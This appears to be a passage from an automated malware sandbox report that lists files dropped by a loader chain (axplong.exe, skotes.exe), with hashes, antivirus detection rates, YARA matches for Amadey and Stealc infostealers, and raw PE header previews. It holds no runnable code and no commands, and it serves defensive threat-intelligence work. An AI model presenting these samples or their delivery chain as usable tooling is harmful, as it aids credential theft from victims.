Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Jl.X...........!..................... ........... ....................... ............@.....................................W.................................................................................... ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........`..4e...........U..............................................}.Y.y.=.{.X.x.=..r...p.o2....o...(3.....o2...}....:..s.....(...........2r...p(;...&Vr...p.....r...p.......(....>.........}.......(C.....o...(D...(E...}.....(F...(E...(G...&>.........}.......(C.....o...(D...}.....(F...(E...(H...&".......>.........}....R..} .....{ ...oo.....{ ..."..}!.....{!......}.....{#....{....op....{....,...{ ...oo.....{!...oo.....{....B.....su...(v.....{#....{#...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\download[1].htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Reputation:	unknown
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\download[2].htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Reputation:	unknown
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\fuckingdllENCR[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe
File Type:	data
Category:	dropped
Size (bytes):	97296
Entropy (8bit):	7.9982317718947025
Encrypted:	true
SSDEEP:	1536:A1FazaNKjs9ezO6kGnCRFVjltPjM9Ew1MhiIeJfZCQdOlnq32YTCUZiyAS3tUX9F:k4zaMjVUGCRzbgqw1MoIeJyQ4nyqX9F
MD5:	E6743949BBF24B39B25399CD7C5D3A2E
SHA1:	DBE84C91A9B0ACCD2C1C16D49B48FAEAEC830239
SHA-256:	A3B82FC46635A467CC8375D40DDBDDD71CAE3B7659D2BB5C3C4370930AE9468C
SHA-512:	3D50396CDF33F5C6522D4C485D96425C0DDB341DB9BD66C43EAE6D8617B26A4D9B4B9A5AEE0457A4F1EC6FAC3CB8208C562A479DCAE024A50143CBFA4E1F15F6
Malicious:	false
Reputation:	unknown
Preview:	XM .4Ih..]...t.&.s...v.0{.v.vs'...:.l.h...e.....R....1...r.R+Fk....~.s.....Q.....r.T.b.....~c..[........;...j.@.0.%.....x...v.w.....<ru....Yre;.b6...HQ-...8.B..Q.a...R.:.h&r.......=.;r.k..T.@....l..;#..3!.O..x.}........y'<.GfQ.K.#.L5v..].......d....N{e..@................A\..<.t.u.X.O.n..Z.. .Xb.O<.Z...h~.(.W.f.z.V.4..L...%5.0...H..`s...y.B......(IL5s:aS}X.......M9.J.o....).'..M;n6]...W..n....)...L...._..e.....>....[....RA.........'...6.N..g6....IY.%h.. 3r....^..\.b~y./....h.2......ZLk....u}..V..<.fbD.<!.._2.zo..IE...P..O...u......P.......w#.6N..&l.R}GI...LY...N.yz..j..Hy.'..._.5..Pd9.y..+....6.q...).G.c...L#....5\.M....5U])....U(..~H.m....Y....G1.r.4.B..h........P..]i...M%.............)q......]....~\|..j...b..K!..N.7R.}T.2bsq..1...L^..!.\|q.D'...s.Ln...D@..bn%0=b.Q1.....+l...QXO\|.......NC.d......{.0....8F.....<.W.y..{o..j.3.....n..4.....eS]. K...o.B.H~.sh.1....m8....6{.ls..R..q..~....w._;....X*.#..U....6n.ODbT.+Zc....q....S.$-S`YT....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\json[1].json

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.383378443661717
Encrypted:	false
SSDEEP:	48:SfNaoQpmITEQp8fNaoQwQwfNaoQyR8QyPfNaoQ70+0se0UrU0U8Q70I:6NnQpmITEQpoNnQwQ8NnQyR8QynNnQ79
MD5:	4F8FC3260B1F9108788FFF200C2252D0
SHA1:	CADF8519F7C12152787625B41BFF754C73F85DE1
SHA-256:	E26784190FAF62A63C2A49C0FBD9FBCD22F5035BE0275FD457A55CF09D483BD1
SHA-512:	ECEBC20013043B445587948DA901056C6372DEA018436A8E9CA70D174959D127109A91366F28953B2CB300DE38CB7F5A5A23C2D36C0A9E21CC116F225EB31CBC
Malicious:	false
Reputation:	unknown
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/84001AA8D378CD6DAA14BE0D0E944ABB",.. "id": "84001AA8D378CD6DAA14BE0D0E944ABB",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/84001AA8D378CD6DAA14BE0D0E944ABB"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/1AC1FA34DAEC1327B570ED2864DDF808",.. "id": "1AC1FA34DAEC1327B570ED2864DDF808",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/1AC1FA34DAEC1327B570ED2864DDF808"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\legs[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	776832
Entropy (8bit):	7.8597230357066845
Encrypted:	false
SSDEEP:	12288:smOcxtujRwuweJH9RKC6cmulcfJbBiv0W6NLtXmAuuweJH9RKC6cmulcfJbBiv0V:pG+XeJH9Rp6RtfNLtcXeJH9Rp6RtfNLr
MD5:	75CF470500D65CE4411790E09E650806
SHA1:	91ACA1838BC6E3868D25E44308F58124B749167D
SHA-256:	F29A920DD390574C50DF03E8F909A8F81A1894AF912AF2D92A9BAF4B57CF1C04
SHA-512:	1C281FE53742A338BECB9AA4EFD2A7E418A66949A7F3D156440E02E2351548F6FF0EAD5D93AAE157509F57D0B4CC3584A9AB623C6446EA389B45B49D0DF85C48
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........p......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4481024
Entropy (8bit):	7.983661937706544
Encrypted:	false
SSDEEP:	98304:Sh1S8JbFL6fENsgr6Rd4AMlt1wLTpG4wVHvdAgRXlOs:ShI8pFL6UsgrHz5HvdAMXl
MD5:	CF2E7AEE1603394F639799BAB432A541
SHA1:	E04E0CC2BE626457D3E8A6FEF55733AC1FCFCA1E
SHA-256:	B0C1F7513ED24756353328321AC1B969186B332D02AC88ADC421FC719A2DCEDD
SHA-512:	A6398FEF2EE67712B9636A1FDD9BB93FD5827B771F94D025EE1BA8D011E6422B1AC3FC9B83B78C6A99B6920E64136749A093A2CA3814D40E078344348E114326
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....cg...............(.JI..Lu..2...........`I...@..........................@....... E...@... ............................._.r.s.....r............................................................................................................. . ..r......4(.................@....rsrc.........r......D(.............@....idata ......r......F(.............@... .P9...r......H(.............@...xxuhznbt.............J(.............@...ewnmsqqp.............:D.............@....taggant.0......."...>D.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2668544
Entropy (8bit):	6.1024828899386625
Encrypted:	false
SSDEEP:	49152:CAT1rDm9Jeg99E2spwr44UaaDB8v+oyLfwt3LE3eFqZHNZ25WYDo6fsWc6jlOaSo:CATNI9G2sOr44UaaDB8moVt3LE3eFqZw
MD5:	87330F1877C33A5A6203C49075223B16
SHA1:	55B64EE8B2D1302581AB1978E9588191E4E62F81
SHA-256:	98F2344ED45FF0464769E5B006BF0E831DC3834F0534A23339BB703E50DB17E0
SHA-512:	7C747D3EDB04E4E71DCE7EFA33F5944A191896574FEE5227316739A83D423936A523DF12F925EE9B460CCE23B49271F549C1EE5D77B50A7D7C6E3F31BA120C8F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 30%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%.Gra.)!a.)!a.)!.** l.)!., ..)!.- r.)!p-* s.)!p-- q.)!p-, G.)!.( d.)!a.(!?.)!.-! `.)!.-.!`.)!.-+ `.)!Richa.)!................PE..L.....eg.................&.........P.#.......&...@...........................).......(...@...................................'.<.....'.}.....................(..j....'.T...........................@.'.@.............&.@............................text.....&.......&................. ..`.rdata..,.....&.......&.............@..@.data.........'.......'.............@....fptable......'.......'.............@....rsrc...}.....'.......'.............@..@.reloc...j....(..l...L(.............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	19253
Entropy (8bit):	5.005302350689574
Encrypted:	false
SSDEEP:	384:hrib4ZmVoGIpN6KQkj2Fkjh4iUxDhQIe5o+OdBANXp5yvOjJlYoaYpib47:hLmV3IpNBQkj2Uh4iUxDhi5o+OdBANZD
MD5:	992C9D429A189287A88B66B868D27C15
SHA1:	FE2F852CA0AF2A28FF6A4917569078AF9B41CEB2
SHA-256:	4A8E42FB06ED539DEA5AB7EDEA37F0B001C53157025AB00A723C2C895C415F2D
SHA-512:	D8726844FADE4496E9C9443449D9E6BC11551D2BC532B9AF0C91AE03BF428B914B2B5A9885576E840B9E32A08189B77935BB8E649C34DE90FC0A85E6DB08D9F4
Malicious:	false
Reputation:	unknown
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul1jR:NllU
MD5:	0EC63F8643FAD46EC878DB86E00F7FF5
SHA1:	53D9444F5369A346E09B2E3D95E06D838BD43A52
SHA-256:	E35DD4598E36CB170B240FD08843073B98DD8BDA901C13FCEBC923ABA2EAE934
SHA-512:	EF572FBB9395F9077C737A458960558BDB7CBBDD183001ECEB1ABF4B82784F0B16E3A7BA1F1F3353E73387AEBC28952A198979E10FE3FD13F2064E69DA69677F
Malicious:	false
Reputation:	unknown
Preview:	@...e..................................."............@..........

C:\Users\user\AppData\Local\Temp\1001527001\legs.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	776832
Entropy (8bit):	7.8597230357066845
Encrypted:	false
SSDEEP:	12288:smOcxtujRwuweJH9RKC6cmulcfJbBiv0W6NLtXmAuuweJH9RKC6cmulcfJbBiv0V:pG+XeJH9Rp6RtfNLtcXeJH9Rp6RtfNLr
MD5:	75CF470500D65CE4411790E09E650806
SHA1:	91ACA1838BC6E3868D25E44308F58124B749167D
SHA-256:	F29A920DD390574C50DF03E8F909A8F81A1894AF912AF2D92A9BAF4B57CF1C04
SHA-512:	1C281FE53742A338BECB9AA4EFD2A7E418A66949A7F3D156440E02E2351548F6FF0EAD5D93AAE157509F57D0B4CC3584A9AB623C6446EA389B45B49D0DF85C48
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........p......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1004899001\am209.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	439808
Entropy (8bit):	6.48944055080441
Encrypted:	false
SSDEEP:	6144:as9C0eaieHm71o2pL2IMJDoMc2ZNu5GQpsnp/yFPMsXnQODVNIg+cTtgJ7AO+Zj5:as9C0eaieHmO292D3//yFPMsXkJ7gmk
MD5:	CE27255F0EF33CE6304E54D171E6547C
SHA1:	E594C6743D869C852BF7A09E7FE8103B25949B6E
SHA-256:	82C683A7F6E0B4A99A6D3AB519D539A3B0651953C7A71F5309B9D08E4DAA7C3C
SHA-512:	96CFAFBAB9138517532621D0B5F3D4A529806CFDF6191C589E6FB6EBF471E9DF0777FB74E9ABBFE4E8CD8821944AD02B1F09775195E190EE8CA5D3FD151D20D9
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 79%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........BS..,...,...,.../...,...).#.,..(...,../...,..)...,.......,...(...,...-...,...-.j.,.U.%...,.U.....,.U.....,.Rich..,.........PE..L...Q.-g.........................................@..........................0............@.................................@E...................................E......8...............................@...............<............................text............................... ..`.rdata..PH.......J..................@..@.data....m...`...,...B..............@....rsrc................n..............@..@.reloc...E.......F...p..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	776832
Entropy (8bit):	7.859703632614266
Encrypted:	false
SSDEEP:	12288:smOcxtujRwuweJH9RKC6cmulcfJbBiv0W6NLtX+AuuweJH9RKC6cmulcfJbBiv0N:pG+XeJH9Rp6RtfNLtkXeJH9Rp6RtfNLj
MD5:	2D6F91549D53930821EA4CF0FBD54B29
SHA1:	8D22716E08327026FD0E0693EB4607008F189A79
SHA-256:	5601BB520CE3526F6A6E23646183E822D531E402BA174225CE8541D57A8B8630
SHA-512:	D8CC636347DDB97E596625A3EA61A6F3AD9083EEDC3421F9E8D19B03C824A3BB2F582B689E341BFD951EC6CE13CF8FE3218325F97B337ED4E3314E23F1EF94C0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 81%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........p......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1294445
Entropy (8bit):	7.975817752785393
Encrypted:	false
SSDEEP:	24576:ovHavrNGiB7Ld0Pbd04XWxCQkcMeiPoHe/wh1b2BcGtF4GFx6w:gA59BMdxXoTMYCwsFhJ
MD5:	5A909C9769920208ED3D4D7279F08DE5
SHA1:	656F447088626150E252CBF7DF6F8CD0DE596FA0
SHA-256:	5F2C26E780639A76F10C549E7DEA1421C4F06093C1FACBF4DD8CF0A8B2FEE8CB
SHA-512:	C6038048BD09C8F704246A6BA176EA63B1C8D23F2E127600C50BAC50F3032C1B751EA8E405A2FE1EA707F75F21CF6516447345A84751BC677D94874D4B91090B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................t...v...B...8............@.......................... ...........@.................................@............................6...`.......................................................................................text....r.......t.................. ..`.rdata..n+.......,...x..............@..@.data....+..........................@....ndata...................................rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	245760
Entropy (8bit):	6.574581381719375
Encrypted:	false
SSDEEP:	3072:shv0eu6ZJlctXwLISyqlsxfKPkAck1gD1l567pGDUJ42EnTC2RReHeP3KqX+n:eMeNRFLIu5ckeHgFGD+jsC2zeot+
MD5:	08D493BFDFA30242A5846DBDEF4C1948
SHA1:	F543AA3AD55C4B4FE176BC610C6D90FF278A8B2F
SHA-256:	7DCCFE6B2EAB06663F0B7DAC8406252F4BF222FFF85DC75C356BE422DAB0F46E
SHA-512:	8BD248437528FA40CD23FA3240C2378C701C4EDE8278CE4EC9BF7E55483C176C42B222ED90BAE8252008602DE212126CDBA69D298DE5387FF10A9B319DCB6047
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe, Author: Joe Security Rule: infostealer_win_stealc_str_oct24, Description: Finds Stealc standalone samples (or dumps) based on the strings, Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe, Author: Sekoia.io
Antivirus:	Antivirus: ReversingLabs, Detection: 66%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....6hg.....................F"...................@...........................%...........@.................................Lf..<.............................$.\|<...................................................................................text............................... ..`.rdata..............................@..@.data....+!..p.......V..............@....reloc...]....$..^...b..............@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2790912
Entropy (8bit):	6.475864259218794
Encrypted:	false
SSDEEP:	49152:msNp8AhrS9CpSqE2Enx+Xys80MSIDrscC+HZO:msNp8AhrCCgqEjoXh8eID4cC+H
MD5:	54CC74B54E416B5B99BA11FE90829DE2
SHA1:	CEDD0CFC1CD847BEBC319798C951BA78CA3152F3
SHA-256:	C273D6ED364DF0CE719F57976C03DA75B86F25D0FDF2ED974BBF05BA059D1259
SHA-512:	36A4E2B0A632BEE54276231EC74670D2C2C1DBFE0FA10680238DB7373AAF9DE2FE6739B90D2DB4E22A59F3655E2448A00CF2A3968A017133827926A592333DA3
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........M...........@...........................N...../R+...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@...tumlwnkw..)...$...(..\|..............@...twdpfarl......M......p.............@....taggant.0....M.."...t.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3191808
Entropy (8bit):	6.6332624661279125
Encrypted:	false
SSDEEP:	49152:FcSbC5Zus2uZdkkKj5D9ah2V5Obg5cNn6Eq:+SbuZus2Gqp5DMEbcN6p
MD5:	01D3882BE7A8BA0FF3BCEC230DDA6B08
SHA1:	3CBD8E61C13D33EBE9FF720BAD5DC476D1FACC51
SHA-256:	1366B33AAB98FC5AEAFD100FC2A7BC7C78CF0F285922276D4A1FEF6B64AB99CE
SHA-512:	8D81C578E0B62A49B1AC81E02622CBF6472136930284A9FAA00F2ACA9BFB27361DFF4EE4E0B7C0067840211BF4C7DC18199A7CA62B3A321243D0EED0606A3478
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@...........................0......G1...@.................................W...k.............................0.............................p.0..................................................... . ............................@....rsrc...............................@....idata ............................@...fficecxo..*.......).................@...qigjcqak......0.......0.............@....taggant.0....0.."....0.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1909248
Entropy (8bit):	7.940921168228502
Encrypted:	false
SSDEEP:	49152:yv9rb7BlzDAhc/WLpFqQtOS9wGIH7Txir49:O9XvzDyeWLpFqQtVFIH/u4
MD5:	B1B1CD560FBD22A72BFBFF10C86B8BE5
SHA1:	93ACAD9E3AE487E03BE94C1DDB0348E4A60FABE7
SHA-256:	F7061E4B0D9F9342D3B8EEADB729A9E7B8CFFA20D356C650AF1CC6C833E19327
SHA-512:	B496F2084A0D93DA2206730D3898FD003BC0977C5AD8B3CF6697DAB3A0F240422789BCB5E1FBF73106042134B855414E881F8FD12CCFEE5C1D5DCAFA4A8A1513
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........i...........nG@.....ZR.....ZC.....ZU.................Z\.....ZB.....ZG....Rich...................PE..L....,.e.....................@....................@..................................`......................................[.A.o.....@............................................................................................................. . ..@......N..................@....rsrc.........@..p...^..............@....idata ......A.....................@... ..(...A.....................@...iyuktxhn.0...Pj..*..................@...oqqoprkb............................@....taggant.0......."..................@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4481024
Entropy (8bit):	7.983661937706544
Encrypted:	false
SSDEEP:	98304:Sh1S8JbFL6fENsgr6Rd4AMlt1wLTpG4wVHvdAgRXlOs:ShI8pFL6UsgrHz5HvdAMXl
MD5:	CF2E7AEE1603394F639799BAB432A541
SHA1:	E04E0CC2BE626457D3E8A6FEF55733AC1FCFCA1E
SHA-256:	B0C1F7513ED24756353328321AC1B969186B332D02AC88ADC421FC719A2DCEDD
SHA-512:	A6398FEF2EE67712B9636A1FDD9BB93FD5827B771F94D025EE1BA8D011E6422B1AC3FC9B83B78C6A99B6920E64136749A093A2CA3814D40E078344348E114326
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....cg...............(.JI..Lu..2...........`I...@..........................@....... E...@... ............................._.r.s.....r............................................................................................................. . ..r......4(.................@....rsrc.........r......D(.............@....idata ......r......F(.............@... .P9...r......H(.............@...xxuhznbt.............J(.............@...ewnmsqqp.............:D.............@....taggant.0......."...>D.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3083776
Entropy (8bit):	6.4573715557920695
Encrypted:	false
SSDEEP:	49152:WTuLCWzBfjFCnSWT1fsrdksICC1jBSzK/Er:1FcKj3
MD5:	75CA34215F6E3916C51C0AF34FC17284
SHA1:	3726BA089194DF9221B1EED520D62E452D74D509
SHA-256:	4D2340448332A51CEAFE2CB2562B2441590EFF605B7FC0478001AD103F495955
SHA-512:	51A8285CD0C989CA4A659FB84F401F81E92BCC9A2B03F3F55DA565BC2A9B6FEFB115DDB0009D675E265E391C65FB4DEFC6326037B70B03EB6ED1364F1D7DC679
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 52%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................q^.....q^.....q^....._..............G...A_.....A_...........A_.....Y.....Y.....Rich....................PE..d....._g.........."....(............`..........@..............................C...........`..........................................H@.\...lH@.......B.b.....A..\............C.....0.=.T.....................=.(....=.@.............'............................. ..].......^.................. ..` .h....p.......b.............. ..` ................................. ..q....'..r..................@..@ ......p@.. ...r-.............@... ..\....A..^....-.............@..@ .b.....B.....................@..@ .......C......./.............@..B........................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1020934001\mdjw5me.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	532992
Entropy (8bit):	7.605999818686795
Encrypted:	false
SSDEEP:	12288:1uB9du8NOZx84E5YoSHHjaGMoJ2vthZhMo6wNu:+9du88Zx8VAnj5/J2fToou
MD5:	81B5E34627858D87520F219C18CC5C7F
SHA1:	F2A58E0CFD375756C799112180DEB3770CC55CF8
SHA-256:	00297DB7C9F2087E3C55B655DF030155EEDADD141EC2D31E47FF53AA82C43CC7
SHA-512:	CEB2BDF9A1396C637BF946592661E816446DF56E1BA46275AEF10B09E8DB385C78F39825153C1B74B37BB7750BA5A7A5AFC82BF25B1A19A322FD8EAE010EEC08
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...WZig..........".................R.............@..........................p............@.................................dH..<...............................p....................................................J..l............................text...+........................... ..`.rdata..\|...........................@..@.data....%...`.......J..............@....tls.................`..............@....reloc..p............b..............@..B.bss................................@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1021118001\6d3d2bb3d5.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2668544
Entropy (8bit):	6.1024828899386625
Encrypted:	false
SSDEEP:	49152:CAT1rDm9Jeg99E2spwr44UaaDB8v+oyLfwt3LE3eFqZHNZ25WYDo6fsWc6jlOaSo:CATNI9G2sOr44UaaDB8moVt3LE3eFqZw
MD5:	87330F1877C33A5A6203C49075223B16
SHA1:	55B64EE8B2D1302581AB1978E9588191E4E62F81
